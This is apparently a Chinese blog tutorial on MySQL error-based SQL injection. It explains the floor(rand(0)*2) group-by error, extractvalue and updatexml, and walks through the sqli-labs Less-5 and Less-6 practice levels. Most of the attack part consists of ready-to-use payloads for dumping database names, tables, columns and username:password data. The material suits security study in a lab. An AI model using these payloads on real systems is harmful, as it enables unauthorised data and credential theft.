构造payload使信息通过错误提示回显出来

应用场景

  • 查询不同现内容,会打印错误信息
  • update,insert等语句,会打印错误信息

注入方法

floor()报错注入

and (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2)))
  • concat: 连接字符串功能

  • floor: 取float的整数值(向下取整)

  • rand: 取0~1之间的随机浮点值

    而如果向rand()中传入一个参数,那么该参数将会被作为随机数种子,且种子不变时生成的随机数也不变

  • group by: 根据一个或多个列对结果集进行分组并有排序功能

  • floor(rand(0)*2): 随机产生0或1,此时由于rand()传入了参数,得到的随机数也是确定的

mysql> select floor(rand(0)*2) from lz2y1;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
+------------------+
5 rows in set (0.00 sec)

报错原因

在执行group by语句的时候,group by语句后面的字段会被运算两次。

第一次:把group by后面的字段值拿到虚拟表中去对比,在对比之前要知道group by后面字段的值 第二次:现在假设我们下一次扫描的字段的值没有在虚拟表中出现,也就是group by后面的字段的值在虚拟表中还不存在,那么我们就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致错误!

举个栗子

令  concat((select version()),floor(rand(0)*2))  为x

在实施select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))时会出现以下情况

我们虚拟一个表,这个表是空的

count(*) x

当我group by扫描原始表的第一项时,第一次计算,floor(rand(0)*2)是0,然后和数据库的版本号(假设就是5.7.19)拼接,到虚拟表里去寻找x有没有x的值是x@5.7.19的数据项,结果显然是没有,那么接下来就将它插入到上表中,在插入之前会进行第二次计算,这时x的值就变成了1@5.7.19,所以虚拟表变成了下面这样:

count(*) x
1 1@5.7.19

然后把版本号version()或者其他sql语句执行情况报错出来

现在扫描原始表的第二项,第一次计算x==’1@5.7.19‘,已经存在,不需要进行第二次计算,直接插入,得到下表:

count(*) x
2 1@5.7.19

扫描原始表的第N项,第一次计算x==‘0@5.7.19’,虚拟表中找不到,那么进行第二次计算,这时x==‘1@5.7.19’,然后插入,但是插入的时候问题就发生了,虚拟表中已经存在以1@5.7.19为主键的数据项了,插入失败,然后就报错了!

然后就是正常的爆库,爆表,爆字段,爆数据

爆库:

and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2)))--+

爆表

and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2)))--+

然后就提示输出超过一行,我们可以通过limit一行行查看

and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)))--+

爆字段

and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),floor(rand(0)*2)))--+

爆数据

and (select count(*) from information_schema.tables group by concat(( select concat(字段名,0x3a,字段名) from 数据库名.表名 limit 0,1),floor(rand(0)*2)))--+

extractvalue报错注入

由于报错注入记住一个就够用了,就多了解两个吧,不详讲

select extractvalue(1,concat(0x7e,(select version()),0x7e));

第一个0x7e只要是非法xpath格式就行

updatexml()报错注入

select updatexml(1,concat(0x7e,(select user(),0x7e),1);

中间参数是xpath语法

练习

Less-5

由于没有可显示的地方,可考虑报错注入

尝试输入?id=1',提示'1'' LIMIT 0,1附近出错,可知用了单引号闭合

根据报错注入相关知识可构造payload

注意,这里出现的最后一个数字为floor(rand(0)*2)结果,不是名称

爆库

?id=1' and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2))) --+

爆表

?id=1' and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))) --+

limit n,1)                         //n不断增加

找到我们需要的表

爆字段

?id=1' and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2)))--+

滚动limit,得到我们想要的东西

爆数据

?id=1' and (select count(*) from information_schema.tables group by concat(( select concat(username,0x3a,password) from security.users limit 0,1),floor(rand(0)*2)))--+

Less-6

输入',正常显示,但是当输入"时,则报错"1"" LIMIT 0,1,可知这里是双引号闭合,我们可构造paylaod使其闭合,注释掉多出来的"

payload和Less-5一样,改'"即可

参考文章

https://blog.csdn.net/he_and/article/details/80455884

https://www.v0n.top/2019/08/15/sqli-labs做题记录(一)

http://hed9eh0g.top/?p=18

说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...